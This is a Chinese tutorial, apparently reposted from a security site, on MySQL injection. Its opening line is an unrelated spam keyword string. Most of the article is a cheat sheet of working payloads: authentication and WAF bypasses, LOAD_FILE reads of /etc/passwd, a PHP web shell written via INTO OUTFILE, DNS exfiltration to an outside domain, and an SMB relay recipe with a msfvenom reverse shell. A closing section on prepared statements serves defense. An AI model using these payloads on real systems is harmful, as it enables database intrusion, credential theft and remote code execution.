自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

MySQL注入攻擊與防御

安全 數(shù)據(jù)安全
本文主要是做一個(gè)Mysql的注入總結(jié),對(duì)于Mysql來說利用的方式太過于靈活,這里總結(jié)了一些主流的一些姿勢(shì)。

[[190552]]

一、注入常用函數(shù)與字符

下面幾點(diǎn)是注入中經(jīng)常會(huì)用到的語句

  • 控制語句操作(select, case, if(), ...)
  • 比較操作(=, like, mod(), ...)
  • 字符串的猜解操作(mid(), left(), rpad(), …)
  • 字符串生成操作(0x61, hex(), conv()(使用conv([10-36],10,36)可以實(shí)現(xiàn)所有字符的表示))

二、測(cè)試注入

可以用以下語句對(duì)一個(gè)可能的注入點(diǎn)進(jìn)行測(cè)試

語句對(duì)一個(gè)可能的注入點(diǎn)進(jìn)行測(cè)試

三、注釋符

以下是Mysql中可以用到的注釋符:

Mysql中可以用到的注釋符

Examples:

  1. SELECT * FROM Users WHERE username = '' OR 11=1 -- -' AND password = ''
  2. SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`'; 

四、版本&主機(jī)名&用戶&庫名

版本&主機(jī)名&用戶&庫名

五、表和字段

1. 確定字段數(shù)

(1) ORDER BY

ORDER BY用于判斷表中的字段個(gè)數(shù)

ORDER BY

(2) SELECT ... INTO

關(guān)于SELECT ... INTO 的解釋可以看這一篇文章SELECT ... INTO解釋

SELECT ... INTO

當(dāng)出現(xiàn)LIMIT時(shí)可以用以下語句:

  1. SELECT username FROM Users limit 1,{INJECTION POINT}; 

(3) 判斷已知表名的字段數(shù)

  1. AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 
  2. SELECT passwd FROM Users WHERE id = {INJECTION POINT}; 

2. 查表名

以下提過幾種方式對(duì)庫中表進(jìn)行查詢

查表名

3. 查列名

以下提過幾種方式對(duì)表中列進(jìn)行查詢

3. 查列名

六、字符串連接

下面的幾條語句都可以用以連接字符

字符串連接

六、條件語句&時(shí)間函數(shù)

條件語句&時(shí)間函數(shù)

其中BENCHMARK函數(shù)是指執(zhí)行某函數(shù)的次數(shù),次數(shù)多時(shí)能夠達(dá)到與sleep函數(shù)相同的效果

七、文件操作

1. 文件操作權(quán)限

在MySQL中,存在一個(gè)稱為secure_file_priv的全局系統(tǒng)變量。 該變量用于限制數(shù)據(jù)的導(dǎo)入和導(dǎo)出操作,例如SELECT … INTO OUTFILE語句和LOAD_FILE()

如果secure_file_priv變量為空那么直接可以使用函數(shù),如果為null是不能使用

但在mysql的5.5.53之前的版本是默認(rèn)為空,之后的版本為null,所有是將這個(gè)功能禁掉了

secure_file_priv變量

也可使用如下語句查詢

2. 讀文件

讀文件函數(shù)LOAD_FILE()

Examples:

  1. SELECT LOAD_FILE('/etc/passwd'); 
  2. SELECT LOAD_FILE(0x2F6574632F706173737764); 

注意點(diǎn):

  • LOAD_FILE的默認(rèn)目錄@@datadir
  • 文件必須是當(dāng)前用戶可讀
  • 讀文件最大的為1047552個(gè)byte, @@max_allowed_packet可以查看文件讀取最大值

3. 寫文件

INTO OUTFILE/DUMPFILE

經(jīng)典寫文件例子:

To write a PHP shell:

  1. SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'; 

這兩個(gè)函數(shù)都可以寫文件,但是有很大的差別

  • INTO OUTFILE函數(shù)寫文件時(shí)會(huì)在每一行的結(jié)束自動(dòng)加上換行符
  • INTO DUMPFILE函數(shù)在寫文件會(huì)保持文件得到原生內(nèi)容,這種方式對(duì)于二進(jìn)制文件是最好的選擇
  • 當(dāng)我們?cè)赨DF提權(quán)的場(chǎng)景是需要上傳二進(jìn)制文件等等用OUTFILE函數(shù)是不能成功的

注意點(diǎn):

  • INTO OUTFILE不會(huì)覆蓋文件
  • INTO OUTFILE必須是查詢語句的最后一句
  • 路徑名是不能編碼的,必須使用單引號(hào)

八、帶外通道

關(guān)于帶外通道的注入前段時(shí)間國外的大佬已經(jīng)總結(jié)過了,我基本復(fù)現(xiàn)了一下,博客有文章,這里簡單提一下

1. 什么是帶外通道注入?

帶外通道攻擊主要是利用其他協(xié)議或者渠道從服務(wù)器提取數(shù)據(jù). 它可能是HTTP(S)請(qǐng)求,DNS解析服務(wù),SMB服務(wù),Mail服務(wù)等.

2. 條件限制

首先不用多說,這些函數(shù)是需要絕對(duì)路徑的

如果secure_file_priv變量為空那么直接可以使用函數(shù),如果為null是不能使用

但在mysql的5.5.53之前的版本是默認(rèn)為空,之后的版本為null,所有是將這個(gè)功能禁掉了

3. DNS注入

  1. select load_file(concat('\\\\',version(),'.rootclay.club\\clay.txt')); 
  2. select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)); 

上面的語句執(zhí)行的結(jié)果我們可以通過wireshark抓包看一下,過濾一下DNS協(xié)議即可清晰看到數(shù)據(jù)出去的樣子,如下圖

 DNS注入

進(jìn)行DNS注入需要域名解析,自己有的話最好,但是沒有的朋友也沒事,這里推薦一個(gè)網(wǎng)站CEYE可以查看數(shù)據(jù)

4. SMB Relay 注入攻擊

(1) What is SMB relay

這里簡單的描述一下SMB relay這個(gè)過程

假設(shè)有主機(jī)B與A

  • A向B發(fā)起連接請(qǐng)求
  • B向A發(fā)送挑戰(zhàn)(一組隨機(jī)數(shù)據(jù),8字節(jié))
  • A用源自明文口令的DESKEY對(duì)挑戰(zhàn)進(jìn)行標(biāo)準(zhǔn)DES加密得到響應(yīng),并發(fā)往B
  • B從SAM中獲取A的LM Hash、NTLM Hash,計(jì)算出DESKEY,并對(duì)前面發(fā)往A的挑戰(zhàn)進(jìn)行標(biāo)準(zhǔn)DES加密
  • 如果(4)中計(jì)算結(jié)果與A送過來的響應(yīng)匹配,A被允許訪問B

現(xiàn)在假設(shè)一個(gè)攻擊者C卷入其中

  • C向B發(fā)起連接請(qǐng)求
  • B向C發(fā)送挑戰(zhàn)D(一組隨機(jī)數(shù)據(jù))
  • C等待A向B發(fā)起連接請(qǐng)求
  • 當(dāng)A向B發(fā)起連接請(qǐng)求時(shí),C偽造成B向A發(fā)送挑戰(zhàn)D
  • A用源自明文口令的DESKEY對(duì)挑戰(zhàn)D進(jìn)行標(biāo)準(zhǔn)DES加密得到響應(yīng)E,并發(fā)往B
  • C截獲到響應(yīng)E,將它做為針對(duì)(2)中挑戰(zhàn)D的響應(yīng)發(fā)往B,并聲稱自己是A
  • B從SAM中獲取A的LM Hash、NTLM Hash,計(jì)算出DESKEY,并對(duì)挑戰(zhàn)D進(jìn)行標(biāo)準(zhǔn)DES加密
  • 如果(7)中計(jì)算結(jié)果與C送過來的響應(yīng)匹配,C被允許以A的身份訪問B。

(2) 攻擊流程

SMB relay攻擊竊取NTML與shell

關(guān)于SMB relay攻擊竊取NTML與shell請(qǐng)看這篇文章SMB Relay Demystified and NTLMv2 Pwnage with Python

整理了一下實(shí)際操作的步驟如下:

首先生成一個(gè)反向shell:

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊機(jī)ip LPORT=攻擊機(jī)監(jiān)聽端口 -f exe > reverse_shell.exe 

然后,運(yùn)行smbrelayx,指定被攻擊者和生成的反向shell,等待連接。

  1. smbrelayx.py -h 被攻擊者ip -e 反向shell文件位置  

其次,使用模塊multi/handler。偵聽攻擊機(jī)ip,攻擊機(jī)監(jiān)聽端口

最后,在MySQL Server上運(yùn)行如下的代碼,則會(huì)產(chǎn)生shell。相當(dāng)于訪問攻擊機(jī)的smb服務(wù),但實(shí)際上是竊取了mysql_server的身份

  1. select load_file('\\攻擊機(jī)ip\aa'); 

九、繞過技巧

1. 繞過單引號(hào)

繞過單引號(hào)

2. 大小寫繞過

  1. ?id=1+UnIoN+SeLecT+1,2,3-- 

3. 替換繞過

  1. ?id=1+UNunionION+SEselectLECT+1,2,3-- 

4. 注釋繞過

  1. ?id=1+un/**/ion+se/**/lect+1,2,3-- 

5. 特殊嵌入繞過

  1. ?id=1/*!UnIoN*/SeLecT+1,2,3-- 

6. 寬字節(jié)注入

SQL注入中的寬字節(jié)國內(nèi)最常使用的gbk編碼,這種方式主要是繞過addslashes等對(duì)特殊字符進(jìn)行轉(zhuǎn)移的繞過。反斜杠()的十六進(jìn)制為%5c,在你輸入%bf%27時(shí),函數(shù)遇到單引號(hào)自動(dòng)轉(zhuǎn)移加入\,此時(shí)變?yōu)?bf%5c%27,%bf%5c在gbk中變?yōu)橐粋€(gè)寬字符“縗”。%bf那個(gè)位置可以是%81-%fe中間的任何字符。不止在sql注入中,寬字符注入在很多地方都可以應(yīng)用。

7. MySQL版本號(hào)字符

Examples:

  1. <span style="font-family: 微軟雅黑, "Microsoft YaHei";">UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+<br>SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);</span> 

這樣的查詢語句是可以執(zhí)行的,我理解為類似Python中第一行注釋指定解析器一樣#!/bin/sh

對(duì)于小于或等于版本號(hào)的語句就會(huì)執(zhí)行

例如目前的Mysql版本為5.7.17那么/!50717/及其以下的語句即可執(zhí)行

8. 字符編碼繞過

前段時(shí)間看到ph師傅的博客是討論mysql字符編碼的文章,大概意思如下,原文在這里

當(dāng)出現(xiàn)有以下代碼時(shí),指設(shè)置了字符編碼為utf-8,但并不是全部為utf-8,而在具體的轉(zhuǎn)換過程中會(huì)出現(xiàn)意外的情況,具體可以看ph師傅的文章

  1. $mysqli->query("set names utf8"); 

在sql查詢中,test.php?username=admin%e4中的%e4會(huì)被admin忽略掉而繞過了一些邏輯,還有一些類似于$e4這樣的字符如%c2等

9. 繞空格

(1) 特殊字符繞過空格

特殊字符繞過空格

Example:

  1. '%0AUNION%0CSELECT%A0NULL%20%23 

括號(hào)繞過空格

括號(hào)繞過空格

Example:

  1. UNION(SELECT(column)FROM(table)) 

10. and/or后插入字符繞過空格

任意混合+ - ~ !可以達(dá)到繞過空格的效果(可以現(xiàn)在本地測(cè)試,混合后需要的奇偶數(shù)可能不同)

  1. SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and-++-1=1;需要偶數(shù)個(gè)-- 
  2. SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and!!~~~~!11=1;需要奇數(shù)個(gè)! 

其實(shí)一下的字符都可以測(cè)試

and/or后插入字符繞過空格

十、注釋符&引號(hào)

  1. SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and/**/11=1; 
  2. SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and"11=1"; 

1. 編碼繞過

編碼繞過

2. 關(guān)鍵字繞過

測(cè)試用例information_schema.tables

測(cè)試用例information_schema.tables

3. 認(rèn)證繞過

繞過語句:'='

  1. select data from users where name="=" 
  2. select data from users where flase=" 
  3. select data from users where 00=0 

繞過語句:'-'

  1. select data from users where name=''-'' 
  2. select data from users where name=0-0 
  3. select data from users where 00=0 

比如登錄的時(shí)候需要輸入email和passwd,可以這樣輸入

  1. email=''&password='' 

類型轉(zhuǎn)換

  1. ' or 1=true 
  2. ' or 1 
  3. select * from users where 'a'='b'='c' 
  4. select * from users where ('a'='b')='c' 
  5. select * from users where (false)='c' 
  6. select * from users where (0)='c' 
  7. select * from users where (0)=0 
  8. select * from users where true 
  9. select * from users 

我們還有關(guān)于此的漏洞,就以一次CTF的題目來說(源碼如下):

  1. <?php 
  2. class fiter{ 
  3.     var $str; 
  4.     var $order; 
  5.     function sql_clean($str){ 
  6.         if(is_array($str)){ 
  7.             echo "<script> alert('not array!!@_@');parent.location.href='index.php'</script>";exit; 
  8.         } 
  9.         $filter = "/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."/i"; 
  10.         if(preg_match($filter,$str)){ 
  11.             echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'</script>";exit; 
  12.         }else if(strrpos($str,urldecode("%00"))){ 
  13.             echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'</script>";exit; 
  14.         } 
  15.         return $this->str=$str; 
  16.     } 
  17.     function ord_clean($ord){ 
  18.         $filter = " |bash|perl|nc|java|php|>|>>|wget|ftp|python|sh"
  19.         if (preg_match("/".$filter."/i",$ord) == 1){ 
  20.             return $this->order = ""
  21.         } 
  22.         return $this->order = $ord; 
  23.     } 

這里過濾了很多關(guān)鍵詞了,需要用到類型轉(zhuǎn)換了,這里我們用+號(hào)

Payload如下:

  1. uname=aa'+(ascii(mid((passwd)from(1)))>0)+'1 

執(zhí)行的SQL語句如下:

  1. xxxxxx where username = 'aa'+(ascii(mid((passwd)from(users)))>0)+'1' 

這樣就可以開始寫腳本跑數(shù)據(jù)了

除了+號(hào),其他算術(shù)操作符號(hào)也會(huì)發(fā)生類型的類型轉(zhuǎn)換,例如MOD,DIV,*,/,%,-,

關(guān)于隱式類型轉(zhuǎn)換的文章可以看這里

4. HTTP參數(shù)污染

當(dāng)我們傳入的參數(shù)為

http://sqlinjection.com/?par1=val1&par1=val2

進(jìn)入到不同的Web Server就可能得到不同的結(jié)果,這里借鑒一下國外大佬一篇文章的總結(jié),如下:

不同的Web Server就可能得到不同的結(jié)果

不同的web server的處理結(jié)果截然不同

不同的web server的處理結(jié)果截然不同

這里也推薦一篇國外的文章

十一、實(shí)戰(zhàn)正則過濾繞過

實(shí)戰(zhàn)正則過濾繞過

十二、防御手段(代碼以PHP為例)

像WAF之類防御手段自己無能為力經(jīng)常打補(bǔ)丁就好,這里主要提一下代碼層面的問題

推薦使用下面的方式進(jìn)行查詢:

1. MYSQLi

  1. $stmt = $db->prepare('update name set name = ? where id = ?'); 
  2. $stmt->bind_param('si',$name,$id); 
  3. $stmt->execute(); 

2. ODBC

  1. $stmt = odbc_prepare( $conn, 'SELECT * FROM users WHERE email = ?' ); 
  2. $success = odbc_execute( $stmt, array($email) ); 

或者

  1. $dbh = odbc_exec($conn, 'SELECT * FROM users WHERE email = ?', array($email)); 
  2. $sth = $dbh->prepare('SELECT * FROM users WHERE email = :email'); 
  3. $sth->execute(array(':email' => $email)); 

3. PDO

  1. $dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password); 
  2. $stmt = $dbh->prepare('INSERT INTO REGISTRY (name, value) VALUES (:name, :value)'); 
  3. $stmt->bindParam(':name', $name); 
  4. $stmt->bindParam(':value', $value); 
  5. // insert one row 
  6. $name = 'one'
  7. $value = 1
  8. $stmt->execute(); 

或者

  1. $dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password); 
  2. $stmt = $dbh->prepare('UPDATE people SET name = :new_name WHERE id = :id'); 
  3. $stmt->execute( array('new_name' => $name, 'id' => $id) ); 

4. 框架

對(duì)于框架的話只要遵循框架的API就好,例如wp的查詢

  1. global $wpdb; 
  2. $wpdb->query( 
  3.     $wpdb->prepare( 'SELECT name FROM people WHERE id = %d OR email = %s', 
  4.         $person_id, $person_email 
  5.     ) 
  6. ); 

或者

  1. global $wpdb; 
  2. $wpdb->insert( 'people', 
  3.         array( 
  4.             'person_id' => '123', 
  5.             'person_email' => 'bobby@tables.com' 
  6.         ), 
  7.     array( '%d', '%s' ) 
  8. ); 
責(zé)任編輯:趙寧寧 來源: 安全客
相關(guān)推薦

2014-07-09 15:41:51

2019-02-22 09:00:00

2010-09-08 13:10:03

2012-11-30 14:54:48

2012-02-14 09:43:08

2017-05-05 11:31:34

2015-02-13 13:11:15

2013-07-27 20:19:14

2015-05-18 13:51:08

2015-11-09 15:58:03

2016-09-29 22:54:55

2010-09-14 16:00:16

2019-04-08 18:23:31

2010-09-13 09:20:21

2010-07-19 21:52:35

2013-06-24 10:16:45

2009-10-29 17:47:31

2010-09-29 14:00:05

2011-01-18 15:29:46

2021-06-03 10:16:12

CSRF攻擊SpringBoot
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)